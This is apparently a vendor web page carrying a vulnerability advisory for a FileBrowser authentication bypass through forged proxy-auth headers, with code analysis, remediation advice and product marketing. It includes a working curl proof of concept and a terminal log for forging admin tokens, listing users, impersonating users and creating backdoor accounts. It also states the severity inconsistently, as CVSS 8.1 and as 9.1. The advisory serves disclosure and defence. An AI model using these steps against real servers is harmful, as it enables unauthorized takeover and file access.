CVE-2026-54089

CVE-2026-54089 is a critical-severity improper authentication vulnerability in github.com/filebrowser/filebrowser/v2 (go), affecting versions >= 2.0.0-rc.1, <= 2.63.18. No fixed version is listed yet.

Check whether CVE-2026-54089 affects your applications

Kodem tells you whether this CVE is present, reachable, and actually executing in your application, so you know if it matters.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence. Only the CVEs that actually run in production.

Summary

File Browser: Authentication Bypass via Proxy Auth Header Forgery

Full technical description

When FileBrowser is configured with proxy authentication (auth.method=proxy), any unauthenticated attacker who can reach the server directly can impersonate any user - including admin - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to automatically create a new user account, providing an account creation primitive with no authorization.

This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.

Severity

HIGH - CVSS 3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

Affected Component

  • File: auth/proxy.go, lines 21-28
  • CWE: CWE-287 (Improper Authentication), CWE-290 (Authentication Bypass by Spoofing)
  • Affected versions: All versions supporting auth.method=proxy

Prerequisite: Proxy Auth Must Be Enabled

This vulnerability is NOT exploitable on default configuration (auth.method=json). It requires the administrator to have configured proxy authentication mode. However, this is a common production deployment pattern - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication:

  • nginx + Authelia / Authentik
  • Traefik + OAuth2 Proxy
  • Caddy + forward_auth
  • Apache + mod_auth_ldap

In these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., X-Remote-User). FileBrowser trusts this header to identify the user.

Deployment Scenario Exploitable?
Default install (auth.method=json) No, JSON auth uses password verification
auth.method=proxy + FileBrowser only reachable via proxy (bound to 127.0.0.1 or firewalled) No - attacker cannot reach the server directly
auth.method=proxy + FileBrowser port exposed to network Yes - full admin takeover

The third scenario is common because:

  • Docker containers publish ports to 0.0.0.0 by default (e.g., -p 8085:80)
  • Administrators expose the port for debugging, monitoring, or health checks
  • Cloud deployments may have misconfigured security groups or load balancers
  • Internal networks often lack strict micro-segmentation

The core issue is that the code itself has zero defensive checks, no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement.

Root Cause

The ProxyAuth.Auth() function unconditionally trusts the value of an HTTP request header (configured via auth.header, e.g. X-Remote-User) to determine the authenticated user's identity. There are three distinct problems in this code:

Problem 1: No Origin Validation

The function reads the header from any HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers.

File: auth/proxy.go, lines 21-28:

func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
    username := r.Header.Get(a.Header)  // <-- reads attacker-controlled header, no origin check
    user, err := usr.Get(srv.Root, username)
    if errors.Is(err, fberrors.ErrNotExist) {
        return a.createUser(usr, setting, srv, username)
    }
    return user, err  // <-- returns the user object, no password verification
}

There is no call to verify r.RemoteAddr against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value.

Problem 2: No Password Verification

Unlike JSON auth (auth/json.go) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The loginHandler in http/auth.go then mints a valid JWT for this user:

File: http/auth.go, lines 121-137:

func loginHandler(tokenExpireTime time.Duration) handleFunc {
    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        auther, err := d.store.Auth.Get(d.settings.AuthMethod)
        // ...
        user, err := auther.Auth(r, d.store.Users, d.settings, d.server)
        // No additional verification, if auther.Auth() returns a user, a JWT is minted
        return printToken(w, r, d, user, tokenExpireTime)  // <-- signs and returns JWT
    }
}

Problem 3: Automatic User Creation

If the username in the header doesn't exist in the database, createUser() is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory:

File: auth/proxy.go, lines 30-63:

func (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) {
    pwd, err := users.RandomPwd(randomPasswordLength)
    // ...
    user := &users.User{
        Username:     username,       // <-- attacker-controlled
        Password:     hashedRandomPassword,
        LockPassword: true,
    }
    setting.Defaults.Apply(user)      // <-- inherits default permissions (may include execute, create, etc.)
    // ...
    err = usr.Save(user)              // <-- persisted to database
    return user, nil
}

This auto-creation has no opt-in flag, it is always active when proxy auth is enabled.

Complete Attack Flow

Attacker sends:   POST /api/login  +  Header: X-Remote-User: admin
                                         |
loginHandler()                           |
  |-> d.store.Auth.Get("proxy")         |
  |-> auther.Auth(r, ...)               |
        |-> ProxyAuth.Auth()             |
              |-> r.Header.Get("X-Remote-User")  ->  "admin"     (attacker-controlled)
              |-> usr.Get(root, "admin")          ->  admin user  (found in DB)
              |-> return user, nil                ->  no password check
  |-> printToken(w, r, d, user, ...)    |
        |-> jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}})
        |-> token.SignedString(key)     ->  valid admin JWT returned to attacker

Proof of Concept

Here is Log testing using Low Privileges Account attacker, get forbidden
Login as low priv user then get the auth token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"

root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
  -H "X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"
403 Forbidden
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: admin")
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
  -H "X-Auth: $FORGED_TOKEN" | python3 -m json.tool
{
    "signup": false,
    "hideLoginButton": true,
    "createUserDir": false,
    "minimumPasswordLength": 12,
    "userHomeBasePath": "/users",
    "defaults": {
        "scope": ".",
        "locale": "en",
        "viewMode": "mosaic",
        "singleClick": false,
        "redirectAfterCopyMove": true,
        "sorting": {
            "by": "",
            "asc": false
        },
        "perm": {
            "admin": false,
            "execute": true,
            "create": true,
            "rename": true,
            "modify": true,
            "delete": true,
            "share": true,
            "download": true
        },
        "commands": [],
        "hideDotfiles": false,
        "dateFormat": false,
        "aceEditorTheme": ""
    },
    "authMethod": "proxy",
    "rules": [],
    "branding": {
        "name": "",
        "disableExternal": false,
        "disableUsedPercentage": false,
        "files": "",
        "theme": "",
        "color": ""
    },
    "tus": {
        "chunkSize": 10485760,
        "retryCount": 5
    },
    "shell": [
        "/bin/sh",
        "-c"
    ],
    "commands": {
        "after_copy": [],
        "after_delete": [],
        "after_rename": [],
        "after_save": [],
        "after_upload": [],
        "before_copy": [],
        "before_delete": [],
        "before_rename": [],
        "before_save": [],
        "before_upload": []
    }
}
root@LAPTOP-VUMRCEKO:~#

Prerequisites

  • FileBrowser with proxy auth enabled:
    filebrowser config set --auth.method=proxy --auth.header=X-Remote-User
    
  • Server is reachable directly (not exclusively behind the reverse proxy)

Step 1: Confirm attacker (non-admin) is blocked

# Using a legitimate non-admin JWT token:
curl -s http://localhost:8085/api/settings \
  -H "X-Auth: <ATTACKER_JWT_TOKEN>"

Result: 403 Forbidden, non-admin users cannot access /api/settings

Step 2: Forge admin identity, no credentials needed

# Just one header, no password:
FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: admin")

echo "$FORGED_TOKEN"
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)

Result: Valid JWT token returned for admin user (ID: 1, perm.admin: true)

Step 3: Access admin-only endpoints with forged token

# Read full server configuration (admin-only):
curl -s http://localhost:8085/api/settings \
  -H "X-Auth: $FORGED_TOKEN"

Result: 200 OK - complete server settings returned:

{
    "authMethod": "proxy",
    "shell": ["/bin/sh", "-c"],
    "signup": false,
    "defaults": { "perm": { "admin": false, "execute": true, ... } },
    ...
}

Step 4: Enumerate all user accounts

curl -s http://localhost:8085/api/users \
  -H "X-Auth: $FORGED_TOKEN"

Result: All user accounts with full details (usernames, permissions, scopes, commands)

Step 5: Impersonate any other user

# Impersonate "testuser", access their files without knowing their password:
VICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: testuser")

curl -s http://localhost:8085/api/resources/ \
  -H "X-Auth: $VICTIM_TOKEN"

Result: Full file listing of testuser's scope

Step 6: Auto-create a new user account

# This username doesn't exist, server creates it automatically:
NEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: backdoor_account")

Result: New user backdoor_account created in the database with default permissions, JWT returned

Validated Results

Tested against filebrowser/filebrowser:latest Docker image on 2026-03-09:

Test Result
Attacker token (non-admin) -> GET /api/settings 403 Forbidden (blocked)
Forged header X-Remote-User: admin -> POST /api/login 200 OK, valid admin JWT (608 bytes)
Forged admin token -> GET /api/settings 200 OK, full server config returned
Forged admin token -> GET /api/users 200 OK, all user accounts listed
Forged header X-Remote-User: testuser 200 OK, testuser JWT, files accessible
Forged header X-Remote-User: nonexistent_user 200 OK, new user auto-created, JWT returned

Suggested Remediation

Fix 1: Add trusted proxy IP validation (recommended)

type ProxyAuth struct {
    Header         string   `json:"header"`
    TrustedProxies []string `json:"trustedProxies"` // New: list of trusted proxy IPs/CIDRs
}

func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
    // Verify request originates from a trusted reverse proxy
    clientIP := realip.FromRequest(r)
    if !a.isTrustedProxy(clientIP) {
        return nil, fmt.Errorf("proxy auth: request from untrusted source %s", clientIP)
    }

    username := r.Header.Get(a.Header)
    if username == "" {
        return nil, os.ErrPermission
    }

    user, err := usr.Get(srv.Root, username)
    if errors.Is(err, fberrors.ErrNotExist) {
        if a.AutoCreateUsers {  // Make opt-in
            return a.createUser(usr, setting, srv, username)
        }
        return nil, os.ErrPermission
    }
    return user, err
}

Fix 2: Make auto-user-creation opt-in

Add a configuration flag auth.proxy.createUsers (default: false) so administrators must explicitly enable automatic account creation.

Fix 3: Documentation warning

Clearly document that when using proxy auth:

  • FileBrowser MUST NOT be directly accessible from untrusted networks
  • Bind to 127.0.0.1 or use firewall rules to ensure only the reverse proxy can reach it
  • The reverse proxy MUST strip/overwrite the configured header from client requests

References

Impact

An unauthenticated attacker who can reach the FileBrowser instance directly can:

  1. Full admin takeover, impersonate the admin user and gain complete control
  2. Read all server settings, shell configuration, permissions, branding, rules
  3. Enumerate and impersonate all users, access every user's files without credentials
  4. Create unlimited backdoor accounts, auto-creation generates persistent accounts
  5. Modify server configuration, enable command execution, change shell, alter rules
  6. Chain with other vulnerabilities, gain admin access -> enable shell mode -> achieve RCE

Attack cost: Zero credentials. One HTTP header.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2026-54089 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Affected versions

github.com/filebrowser/filebrowser/v2 (>= 2.0.0-rc.1, <= 2.63.18)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

No fixed version is listed for CVE-2026-54089 yet.

In the interim: Keep the dependency up to date. Ensure authentication checks are present and cannot be bypassed by manipulating request parameters.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-54089? CVE-2026-54089 is a critical-severity improper authentication vulnerability in github.com/filebrowser/filebrowser/v2 (go), affecting versions >= 2.0.0-rc.1, <= 2.63.18. No fixed version is listed yet. The application does not adequately verify the identity of a user, device, or process before granting access.
  2. How severe is CVE-2026-54089? CVE-2026-54089 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/filebrowser/filebrowser/v2 are affected by CVE-2026-54089? github.com/filebrowser/filebrowser/v2 (go) versions >= 2.0.0-rc.1, <= 2.63.18 is affected.
  4. Is there a fix for CVE-2026-54089? No fixed version is listed for CVE-2026-54089 yet. Monitor the advisory for updates and apply mitigations in the interim.
  5. Is CVE-2026-54089 exploitable, and should I be worried? Whether CVE-2026-54089 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-54089 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-54089? No fixed version is listed yet. In the interim: Keep the dependency up to date. Ensure authentication checks are present and cannot be bypassed by manipulating request parameters.

Other vulnerabilities in github.com/filebrowser/filebrowser/v2

Stop the waste.
Protect your environment with Kodem.